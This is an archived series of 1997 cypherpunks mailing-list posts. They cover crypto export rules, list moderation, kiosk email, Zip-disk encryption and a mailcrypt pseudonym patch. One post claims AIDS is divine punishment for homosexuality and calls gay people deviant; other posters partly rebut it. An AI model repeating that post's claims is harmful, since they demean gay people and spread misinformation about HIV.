       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Fri, 24 Jan 1997 18:02:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Comments
Message-ID: <19970124.205910.21590.3.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


All comments on my article will be welcome and replied to.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Fri, 24 Jan 1997 18:03:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anyone have info on foreign "ITARS"
Message-ID: <199701250155.UAA03593@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any pointers to info about the import/export
restrictions on encryption products in various countries. I know any
such summary would be very dynamic, but perhaps there's something
out there.

Thanks!

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 24 Jan 1997 21:22:17 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <Pine.BSD/.3.91.970124155053.1402A-100000@mrburns.iosphere.net>
Message-ID: <32E99854.32B8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> Beauty, flames and censorship are all in the eyes of the beholder.
> However, by providing both "raw" and "cooked" versions of the list, Sandy
> is allowing readers to choose for themselves whether or not they want
> someone else's filters applied to their mailbox.  Personally, I choose to
> press the "Delete" key myself.
> Agreed, and said private individual can do as s/he sees fit.  My only
> objection is that the moderated version has the same name as the original
> list (sounds like Rogers Cable's recent attempt at "Costs More Unless You
> Speak Up Now" channels).

I apologize for intruding, Cynthia, but I have a question about "doing
as s/he sees fit".  For example, what is the list?  Is it the equipment,
is it the software that runs on the equipment, or is it the contents of
the list (my writings, your writings, etc.)?  If I had to rank them, I
would rank the contents as being more important than the equipment or
the software.  That said, how can those contents be considered the
property of the list owner/manager to do with as they see fit?

I do understand that they have the right to manage the list as they see
fit, and to move the messages into whatever buckets seem appropriate,
but your phrasing suggested more to me, and I'm puzzled by it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 24 Jan 1997 23:24:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: testing email from airport kiosk
Message-ID: <3.0.1.32.19970124172459.005ade48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


An update on the SF airport kiosk email machines:
Judging from the headers, there _is_ a Linux machine driving
the laptops, and there's a Metricom ricochet modem
providing the communications path - interesting alternative to wires,
and I guess they don't mind having the extra radio waves in the airport.
It does support anonymous email, in that you can type in
any email address you want, and it doesn't seem to mind.
In addition to limited web, telnet,  and outgoing email, 
it lets you retrieve email with POP3.  Doesn't seem to be a way
to get it to run a program, though :-) 
---------------------------------
Return-Path: <johndoe@airport.sf.na>
Received: from linux.quickaid.com (root@www.quickaid.com [204.188.26.11])
by ixmail4.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
	id VAA18934; Wed, 22 Jan 1997 21:59:22 -0800 (PST)
From: johndoe@airport.sf.na
Received: from SFO-00-6.ricochet.net ([204.254.16.39]) by
linux.quickaid.com (8.6.12/8.6.9) with SMTP id WAA22004 for
<stewarts@ix.netcom.com>; Wed, 22 Jan 1997 22:00:13 -0800
Message-Id: <199701230600.WAA22004@linux.quickaid.com>
Date: Wed, 22 Jan 1997 21:58:40
To: stewarts@ix.netcom.com
Subject: testing email from airport kiosk
X-Mailer: QuickAID Kiosk

who am i


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 24 Jan 1997 23:25:49 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <3.0.1.32.19970124212455.005ade48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:38 PM 1/23/97 -0600, Jim Choate wrote:
>> We here all know that this is right but it's obvious that
>> the language is sliding towards Internet = Web. Most people
>
>Typical modern American attitude, getting it right is too much work so 
>let's lower the benchmark so anyone can be 'right'. 
>You'll be supporting Ebonics next.

One of the points of the Ebonics program is to recognize that
other people don't always speak the same way you do, and that
if you want to communicate with them, you'll be more successful
if you realize it, understand when they're talking in their dialect,
and if you're going to talk back to them in yours, remember to
translate on occasion.  _Regardless_ of whose dialect is "right"
(of course on technical issues, we technical people are right,
but if you've got the hacker nature, treat it as a problem in
social engineering.......)

					Speaker to Marketers





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 24 Jan 1997 13:34:48 -0800 (PST)
To: aga <cypherpunks@toad.com>
Subject: Re: Homo/bi/sexuals Most Destructive
In-Reply-To: <Pine.LNX.3.95.970116062523.30623C-100000@dhp.com>
Message-ID: <199701242134.OAA23867@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


     aga's original message follows pgp-----

-----BEGIN PGP SIGNED MESSAGE-----

        when AIDS was relatively obscure, I always dismissed AIDS as 
    God's response to homosexuality (and other crimes against nature); 
    i.e. -settlement by a just God.  

        Unfortunately, some of these boy-girls could not keep it among 
    themselves, and the closet queens brought it home.  AIDS replicates     
    asexually, knowing no boundaries.

        I would not wish the disease upon anyone, but if you play, you 
    just might pay --as in "...reap what thy hath sown."  

        One of the saddest commentaries on the entire problem is the 
    man, a Pan-American flight steward, who was identified as carrier 
    #1 by the Communicable Disease Center (CDC) in Atlanta; he died 
    protesting he did not have the disease, nor was he a carrier. The 
    flight steward was still sexually active until his impending death 
    removed even his ability to passively participate. Unfortunately, 
    he was not only in total denial as to the disease and its 
    communicability, but he was also immensely profligate, having 
    surrendered to total licentiousnous.

        To be strongly opposed to homosexuality has nothing to do with 
    bigotry, political correctness, or aberrationist apologists; it is
    an exposition of the natural order among the species.

        and for those who deny God, read Darwin as to the relative 
    rate of survival for deviant and/or abnormal species. 

  ==
  "eschewing my enmity is exemplary,
    even transcending my fraternity.
        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMukqX704kQrCC2kFAQGsDAQAxAMLt2JwaKqfz1Kw5IMf+EAQnQaoxpzR
LtyTbCEvwhZRymfFwLZPj3P9Ph074ufOv0r/EmntvF2KmTETWM7k8ol5EySGjCbf
2mytxMy5VQiy5TBJWCvnxwdp/UjACtBM1sY8X16UyMLSE0tyzy4k3sF0TmPPkKdG
FUQZzjXwYfQ=
=TNlj
-----END PGP SIGNATURE-----

In <Pine.LNX.3.95.970116062523.30623C-100000@dhp.com>, on 01/16/97 
   at 06:28 AM, aga <aga@dhp.com> said:

+> "Who Are The Patients?
+>    "In the United States, homosexual and bisexual males make up >
+approximately 62 percent of the total patients. The other major group >
+afflicted with AIDS are intravenous drug abusers -- both men and women
+--
+> who constitute 20 percent of the total. . . ."
+> 
+> "ADULTS AND ADOLESCENTS WITH AIDS, 1981-87
+> ==================================  Males  %  Females  %  Both sexes  
+% > Homosexual/bisexual males          50,325 68           0     
+50,325  62 > Intravenous (IV) drug abusers      12,529 17    3,622 52     
+16,151  20 > Homosexual male an IV drug abusers  5,874  8                  
+5,874   7 > Hemophilia/coagulation disorder       751  1       22  0        
+773   1 > Heterosexuals                       1,516  2    2,073 30      
+3,589   4 > Blood transfusion                   1,297  2      747 11      
+2,044   3 > Undetermined (1)                    2,143  3      519  7      
+2,662   3 > TOTAL                              74,435 91    6,983  9     
+81,418 100 >
+=========================================================================
+> "Note:  Provisional data.  Cases with more than one risk factor than
+the > combinations listed are tabulated only in the category listed
+first. > (1) Includes patients on whom risk information is incomplete,
+patients > still under investigation, men reported only to have had
+heterosexual > contact with a prostitute, and patients for whom no
+specific risk was > identified; also includes one health care worker
+who developed AIDS after > a documented needle-stick to blood. Source:
+Centers for Disease Control." >
+=========================================================================
+> Cited in "The Universal Almanac 1990", Andrews and McMeel, 1989. >
+=========================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 24 Jan 1997 19:16:10 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
In-Reply-To: <199701250026.QAA13770@toad.com>
Message-ID: <3.0.1.32.19970124221710.01968f84@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:11 PM 1/24/97 -0600, Jim Choate wrote:
>
>Forwarded message:
>
>> Date: Fri, 24 Jan 97 21:33:41 +0000
>> From: "Attila T. Hun" <attila@primenet.com>
>> Subject: Re: Homo/bi/sexuals Most Destructive
>
>Much drivel about AIDS deleted.
>
>>         One of the saddest commentaries on the entire problem is the 
>>     man, a Pan-American flight steward, who was identified as carrier 
>>     #1 by the Communicable Disease Center (CDC) in Atlanta; he died 
>
>The correct term is 'Patient 0'.
>
>                                           


Also he was an Air Canada steward.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMul7M4VO4r4sgSPhAQHe8wP+KB2rk12gJJJozsNH5FKKOi6Gnk5zdggf
N91N/3rOa6c0ZQFdDD9xE887pJe6wl3qER1S9OMeXMemG2J3RuCLWnIGBNcHAN0z
FAMezugL832jzGRwy5ARTNnOYzq3DtgTQpynpo9atZjPMumyI+QQ7Qec8SOO9Nyc
VnG2L9UL2zg=
=QN46
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 24 Jan 1997 20:16:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
Message-ID: <199701250424.WAA14604@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From satan_is_a_hacker@juno.com Fri Jan 24 22:06:53 1997
> Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
> Date: Fri, 24 Jan 1997 22:57:52 EST
> 
> YOU ARE BOTH WRONG   THE CORRECT TERM IS INDEX CASE

> >The correct term is 'Patient 0'.

You are welcome to contact the CDC in Georgia and correct their terminology.
I am shure they would appreciate it.

http://www.cdc.gov/ 

Their webpage search capability is temporarily down so you might have to
talk to a real person,

Center for Disease Control and Prevention
1600 Clifton Rd., NE.
Atlanta, GA  30333
404-639-3311

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 24 Jan 1997 20:19:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: overview.htm
Message-ID: <199701250427.WAA14615@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   
     _________________________________________________________________
   
                             OVERVIEW OF HIV/AIDS
                                       
   
     _________________________________________________________________
   
   Some important facts about the evidence that HIV causes AIDS are:
   
     * Tests for HIV antibody in persons with AIDS show that they are
       infected with the virus.
       
       
       
     * HIV has been isolated from persons with AIDS and grown in pure
       culture.
       
       
       
     * Studies of blood transfusion recipients before 1985 documented the
       transmission of HIV to previously uninfected persons who
       subsequently developed AIDS.
       
   
   
   Before the discovery of human immunodeficiency virus (HIV), the virus
   that causes AIDS, epidemiologic studies of AIDS patients' sex partners
   and AIDS cases occurring in blood transfusion recipients before 1985
   clearly showed that the underlying cause of AIDS was an infectious
   agent. Infection with HIV has been the only common factor shared by
   persons with AIDS throughout the world, including homosexual men,
   transfusion recipients, persons with hemophilia, sex partners of
   infected persons, children born to infected women, and health care
   workers who were infected with HIV while on the job, mainly by being
   stuck with a needle used on an HIV-infected patient.
   
   
   
   Although we know that HIV is the cause of AIDS, much remains to be
   known about exactly how HIV causes the immune system to break down.
   Scientists are constantly discovering more information about HIV and
   AIDS. These discoveries help people learn how to stop transmission of
   the virus and help people infected with HIV to live longer, healthier
   lives. One important question to answer is why some people exposed to
   HIV become infected and others do not. Scientists believe it is most
   likely because of how infectious the other person is and how they are
   exposed. For example, more than 90 percent of persons who were exposed
   through an HIV-infected unit of blood became infected. So we know that
   blood-to-blood contact is a very efficient way that HIV is spread. On
   the other hand, many health care workers are splashed with blood or
   bloody body fluids and this type of exposure has caused very few
   occurrences of HIV infection. Researchers know how HIV is spread and
   the ways that people can help protect themselves from being exposed to
   HIV.
   
   
   
   If you have questions about HIV infection and AIDS, please call the
   CDC National AIDS Hotline at the tollfree number, 1-800-342-2437. If
   you wish to write to CDC regarding this subject, please write to the
   CDC National AIDS Clearinghouse, Post Office Box 6003, Rockville,
   Maryland, 20849-6003.
   
   
     _________________________________________________________________
   
        Back to HIV/AIDS Information Return to HIV/AIDS Information
        
        Back to DHAP home page GO BACK TO DHAP HOME PAGE
        
        (with graphics)
        (text only)
        
   
   
   
   
   
     _________________________________________________________________
   
   
    Last Updated: June 13, 1996
    Updated By: Technical Information Activity
    email: hivmail@cidhiv1.em.cdc.gov




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: no_one@nowhere.org
Date: Fri, 24 Jan 1997 19:54:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
Message-ID: <v03007802af0f32a48bb9@[166.84.253.144]>
MIME-Version: 1.0
Content-Type: text/plain


In article <199701250026.QAA13770@toad.com>, ravage@einstein.ssz.com (Jim
Choate) wrote:

> Much drivel about AIDS deleted.
>
> >         One of the saddest commentaries on the entire problem is the
> >     man, a Pan-American flight steward, who was identified as carrier
> >     #1 by the Communicable Disease Center (CDC) in Atlanta; he died
>
> The correct term is 'Patient 0'.

   And the CDC is the Centers for Disease Control; and it has since found
many, many prior cases of AIDS. These three minor errors are indicative of
Attila's reliability of the subject. Of course, no one at CDC or NIH
believes any of this crap; it was tired a decade ago.

ObCrypto? How to implement RL anonymity protocols for medical treatment?
(Of course I'm stretching it - but "carriers" were the *first* horseman.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 24 Jan 1997 20:19:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Encrypting ZIP disks
In-Reply-To: <199701242114.NAA07698@toad.com>
Message-ID: <0muMYz200YUf0oJKY0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"David E. Smith" <dsmith@prairienet.org> writes:
> 7.  Secure sensitive files.
>      To keep sensitive or confidential information safe, store it
>      on a Zip disk and use your Zip Tools software to assign a
>      password that must be used in order to read from or write to
>      the disk.  At work, you can protect sensitive information
>      such as personnel files, company directories, and product
>      plans and designs.  At home, you can secure personal
>      information such as tax records, budgets, and computerized
>      checkbooks.

FWIW (not much), Iomega claims that it can't recover the data on a
password-protected disk. However, they do export those things, so I
doubt it's strong.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMumJOskz/YzIV3P5AQHLZAL+MJhEH/aCbB9BX5R4nY4BIRBOGZw8socG
39D0q+UT8sS3YsMaeL6GqfEo04lsnQwAUWtI0I8/FcqYlWVGxwsOAboK3BZmJz40
y3/GmUz5dUpz0PctKbGYYQj/w6pbt/6z
=mv67
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 00:33:09 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: PSS_sst
Message-ID: <3.0.1.32.19970124215147.00640df8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 00:34:50 -0800 (PST)
To: fuck you <satan_is_a_hacker@juno.com>
Subject: Re: [No Subject:]
Message-ID: <3.0.1.32.19970124215958.0063f008@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  It's useful to include a subject line in email so people
can decide whether to read it and have more context for it,
though calling yourself "fuck you" will probably deter a few people.
There are lots of anarchists on the net; you can run into some good
discussions on Usenet on several newsgroups with "anarchy" or "anarchism"
in the titles.  Rec.caves has good underground material......

As far as decryption tools goes, they're pretty closely related
to encryption algorithms.  There's been a discussion, probably on
cryptography@c2.org (subscribe via cryptography-request@c2.org)
though maybe it was on cypherpunks, about designing a screen-saver
DES-cracker.


At 11:47 PM 1/23/97 EST, fuck you wrote:
>If anyone has any text files on the following topics please send them. I
>have many files if any one else needs them.
>
>PGP
>Making decryption tools
>Anarchy
>Satan
>Anything underground
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Sat, 25 Jan 1997 03:23:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mailcrypt nym.alias.net support
Message-ID: <199701251117.DAA10089@descartes.veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For those of you who use mailcrypt (Emacs-PGP interface) for email, I
have hacked in support for pseudonyms ala nym.alias.net. In fact,
the code has nym.alias.net hardcoded for now. I'm gonna add more stuff,
but I'm just letting this out as is.

This patch affects mailcrypt.el and mc-remail.el. I made these changes
to mailcrypt 3.4, so your mileage may vary on other versions. I did
this after the C2 party tonight, so typos and bugs are possible. Please
email me if bugs are found. "This value is not configureable" does not
qualify, I know it's not configureable yet.

(BTW there are a couple functions not used, I was doing it one way, then
changed my way of thinking, but the code is ok so I left it.)


Installing it:

 o cd to your lisp directory

 o cat /path/to/the/patch | patch -p0, or something similar
   (You will need to pgp this message before extracting the patch
    to get rid of the leading "- " on some lines.)

 o recompile the .el files, ala:

   emacs -batch -f batch-byte-compile mc-remail.el
   emacs -batch -f batch-byte-compile mailcrypt.el


Using it:

 o You _must_ have a remailer chain defined. This does not work
   with a single remailer (though a chain of length 1 might work).

 o Compose a message or reply as normal. Once you are done (the message
   would go out without nyms or remailers or anything if you hit
   C-c C-c), hit C-c / n.

 o The first question asks for a remailer chain, it will do completions.

 o The second question asks for the name of your nym. This is assumed
   to be @nym.alias.net, DO NOT include @nym.alias.net. If your nym
   is jimbob@nym.alias.net, just answer jimbob. This does not do 
   completions at the moment. Putting your nym in your .emacs file
   is a bit weird anyway.

 o You will be asked for a signature for your nym's private key.

 o The message will be rewritten to send@nym.alias.net and then
   to the remailer chain you chose.

 o Send it.


Hack the code at will, if you make significant enhancements, please
email patches to me. Of course there is no warranty of any sort, if
it blows up your machine you're out a machine.


I will put this on my web page (http://www.veriweb.com/people/jeremey)
for those that prefer that.

Ok, here's the patch:

- ---------------------------------cut here-----------------------------------
*** mailcrypt.el	Tue Oct 10 12:33:45 1995
- --- /usr/home/jeremey/PGP/mailcrypt-3.4/mailcrypt.el	Sat Jan 25 02:45:27 1997
***************
*** 51,56 ****
- --- 51,57 ----
  (autoload 'mc-sign "mc-toplev" nil t)
  (autoload 'mc-insert-public-key "mc-toplev" nil t)
  (autoload 'mc-remailer-encrypt-for-chain "mc-remail" nil t)
+ (autoload 'mc-remailer-encrypt-for-nym "mc-remail" nil t)
  (autoload 'mc-remailer-insert-response-block "mc-remail" nil t)
  (autoload 'mc-remailer-insert-pseudonym "mc-remail" nil t)
  
***************
*** 101,107 ****
        (define-key mc-write-mode-map "\C-c/b"
  	'mc-remailer-insert-response-block)
        (define-key mc-write-mode-map "\C-c/p"
! 	'mc-remailer-insert-pseudonym)))
  
  (easy-menu-define
   mc-read-mode-menu (if mc-xemacs-p nil (list mc-read-mode-map))
- --- 102,110 ----
        (define-key mc-write-mode-map "\C-c/b"
  	'mc-remailer-insert-response-block)
        (define-key mc-write-mode-map "\C-c/p"
! 	'mc-remailer-insert-pseudonym)
!       (define-key mc-write-mode-map "\C-c/n"
! 	'mc-remailer-encrypt-for-nym)))
  
  (easy-menu-define
   mc-read-mode-menu (if mc-xemacs-p nil (list mc-read-mode-map))
*** mc-remail.el	Wed Oct  4 15:45:56 1995
- --- /usr/home/jeremey/PGP/mailcrypt-3.4/mc-remail.el	Sat Jan 25 02:44:16 1997
***************
*** 378,383 ****
- --- 378,401 ----
  	  (re-search-forward "^$" nil 'move)
  	  (cons (copy-marker start) (copy-marker (point)))))))
  
+ (defun mc-find-nym-from-header (name subject &optional insert)
+   ;; Find the header with a "::" immediately after the
+   ;; mail-header-separator.  Return region enclosing header.  Optional
+   ;; arg INSERT means insert the header if it does not exist already.
+   (save-excursion
+     (goto-char (point-min))
+     (re-search-forward
+      (concat "^" (regexp-quote mail-header-separator) "\n"))
+     (if (or (and (looking-at "From") (forward-line 1))
+ 	    (and insert
+ 		 (progn
+ 		   (insert-before-markers 
+ 		    (concat "From: " name "\nTo: \nSubject:" subject "\n\n"))
+ 		   (forward-line -1))))
+ 	(let ((start (point)))
+ 	  (re-search-forward "^$" nil 'move)
+ 	  (cons (copy-marker start) (copy-marker (point)))))))
+ 
  (defun mc-find-hash-header (&optional insert)
    (save-excursion
      (goto-char (point-min))
***************
*** 400,411 ****
- --- 418,442 ----
  (defsubst mc-replace-main-field (field replacement)
    (mc-replace-field field replacement (mc-find-main-header t)))
  
+ (defsubst mc-nuke-main-field (field)
+   (mc-nuke-field field (mc-find-main-header t)))
+ 
  (defsubst mc-replace-hash-field (field replacement)
    (mc-replace-field field replacement (mc-find-hash-header t)))
  
  (defsubst mc-replace-colon-field (field replacement)
    (mc-replace-field field replacement (mc-find-colon-header t)))
  
+ (defsubst mc-insert-nym-header (replacement)
+   (mc-find-nym-from-header replacement 
+ 			   (cdr (car (mc-get-fields "Subject" 
+ 						    (mc-find-main-header)))) t)
+   (mc-replace-main-field "To" "send@nym.alias.net")
+   (mc-nuke-main-field "Cc")
+   (mc-nuke-main-field "Organization")
+   (mc-nuke-main-field "Subject")
+   (mc-nuke-main-field "From"))
+ 
  (defun mc-recipient-is-remailerp ()
    (let ((to (mc-get-fields "To" (mc-find-main-header))))
      (and to
***************
*** 516,521 ****
- --- 547,568 ----
  	(setq pseudonym (concat pseudonym " <x@x.x>")))
      (mc-replace-colon-field "From" pseudonym)))
  
+ (defun mc-remailer-insert-nym-nym ()
+   "Insert pseudonym as a From field in the hash-mark header.
+ 
+ See the documentation for the variable `mc-remailer-pseudonyms' for
+ more information."
+   (interactive)
+   (let ((completion-ignore-case t)
+ 	pseudonym)
+     (setq pseudonym
+ 	  (cond ((null mc-remailer-pseudonyms)
+ 		 (read-from-minibuffer "Pseudonym: "))
+ 		(t
+ 		 (completing-read "Pseudonym: "
+ 				  (mapcar 'list mc-remailer-pseudonyms)))))
+     (mc-insert-nym-header pseudonym)))
+ 
  ;;}}}
  ;;{{{ Mixmaster support
  (defvar mc-mixmaster-path nil
***************
*** 730,735 ****
- --- 777,826 ----
        (error "Unable to encrypt message to %s"
  	     (mc-remailer-userid remailer)))))
  
+ (defun mc-rewrite-for-nym-internal (nym &optional pause)
+   ;; Rewrite the current mail buffer for nym.alias.net.  This
+   ;; includes pulling down the To: and Subject: headers, changing
+   ;; the To: header, and encrypting to send@nym.alias.net and signing 
+   ;; with the nym's key. This should be used only as part of
+   ;; mc-rewrite-for-nym since it will subsequently chain the message
+   ;; through a set of remailers.
+   (let ((addr "send@nym.alias.net")
+ 	(main-header (mc-find-main-header)))
+ 
+     ;; Move "Subject" lines down.
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (mapcar
+      (function (lambda (f) (insert (car f) ":" (cdr f))))
+      (mc-get-fields "Subject" main-header t))
+     (insert "\n")
+ 
+     ;; Move "To" lines down.
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (mapcar
+      (function (lambda (f) (insert (car f) ":" (cdr f))))
+      (mc-get-fields "To" main-header t))
+ 
+     ;; Insert "From" for nym.alias.net
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (insert (concat "From: " nym "\n"))
+ 
+     (goto-char (car main-header))
+     (insert "To: send@nym.alias.net\n")
+ 
+     (if pause
+ 	(let ((cursor-in-echo-area t))
+ 	  (message "SPC to encrypt for %s : " addr)
+ 	  (read-char-exclusive)))
+     (setq main-header (mc-find-main-header))
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (let ((mc-encrypt-for-me nil))
+       (mc-encrypt-message "send@nym.alias.net" nil (point) nil 
+ 			  (concat nym "@nym.alias.net") t))))
+ 
  (defun mc-rewrite-for-chain (chain &optional pause)
    ;; Rewrite the current buffer for a chain of remailers.
    ;; CHAIN must be in canonical form.
***************
*** 744,749 ****
- --- 835,856 ----
  	  (mc-rewrite-for-remailer (car chain) pause)
  	(mc-rewrite-for-mixmaster chain pause)))))
  
+ (defun mc-rewrite-for-nym (nym chain &optional pause)
+   ;; Rewrite the current buffer for nym.alias.net through a
+   ;; chain of remailers. CHAIN must be in canonical form.
+   ;; nym is assumed to be the nym's name WITHOUT @nym.alias.net on it.
+   (let (rest)
+     (if mc-mixmaster-path
+ 	(setq rest (mc-mixmaster-skip chain))
+       (setq rest chain))
+     (if (null chain) nil
+       (mc-rewrite-for-nym-internal nym pause)
+       (mc-rewrite-for-chain
+        (if (eq rest chain) (cdr rest) rest) pause)
+       (if (eq rest chain)
+ 	  (mc-rewrite-for-remailer (car chain) pause)
+ 	(mc-rewrite-for-mixmaster chain pause)))))
+ 
  (defun mc-unparse-chain (chain)
    ;; Unparse CHAIN into a string suitable for printing.
    (if (null chain)
***************
*** 782,787 ****
- --- 889,926 ----
  	   (cdr (assoc chain-name chains))
  	   chains))
      (mc-rewrite-for-chain chain pause)
+     (if chain
+ 	(save-excursion
+ 	  (set-buffer buffer)
+ 	  (erase-buffer)
+ 	  (insert "Rewritten for chain `" chain-name "':\n\n"
+ 		  (mc-unparse-chain chain))
+ 	  (message "Done.  See %s buffer for details." mc-buffer-name)))))
+ 
+ ;;}}}
+ 
+ (defun mc-remailer-encrypt-for-nym (&optional pause)
+   "Encrypt message for a nym server, to be resent, prompting for chain to use.
+ 
+ With \\[universal-argument], pause before each encryption."
+   (interactive "P")
+   (let ((chains (mc-remailer-make-chains-alist))
+ 	(buffer (get-buffer-create mc-buffer-name))
+ 	chain-name chain nym)
+     (mc-nuke-field "CC")
+     (mc-nuke-field "Organization")
+     (mc-disallow-field "FCC")
+     (mc-disallow-field "BCC")
+     (setq chain-name
+ 	  (completing-read
+ 	   "Choose a remailer or chain: " chains nil 'strict-match))
+     (setq nym
+ 	  (read-from-minibuffer "Pseudonym: "))
+     (setq chain
+ 	  (mc-remailer-canonicalize-chain
+ 	   (cdr (assoc chain-name chains))
+ 	   chains))
+     (mc-rewrite-for-nym nym chain pause)
      (if chain
  	(save-excursion
  	  (set-buffer buffer)
- ---------------------------------cut here-----------------------------------

- -- 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Jeremey Barrett
Senior Software Engineer                         jeremey@veriweb.com
VeriWeb Internet Corp.                           http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
PGP Public Key: http://www.veriweb.com/people/jeremey/pgpkey.txt
                
		"less is more."  -- Mies van de Rohe.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMunrci/fy+vkqMxNAQHpQQQAkN8wQ+/65qsN4326gFRmEMjcwQH1mj2v
/WZGnxyB2ADYlF0AMXfU60NzUO31KZzEbbOu8oX2I0KptXrDGiLYoQ6uerw/W441
1B4uAd2pEztqWwfwyYmLj57meQWJw1IjH7AuF0Mz9NJ7OLEWq+H5CC9w4zwo6u1/
nTrWv396Y6Q=
=jpyn
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 25 Jan 1997 03:05:43 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701241411.GAA25271@toad.com>
Message-ID: <199701250508.FAA01408@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701241411.GAA25271@toad.com>, on 01/24/97 at 09:09 AM,
   Toto <toto@sk.sympatico.ca> said:


>  I would like to point out, however, that anyone who has had their
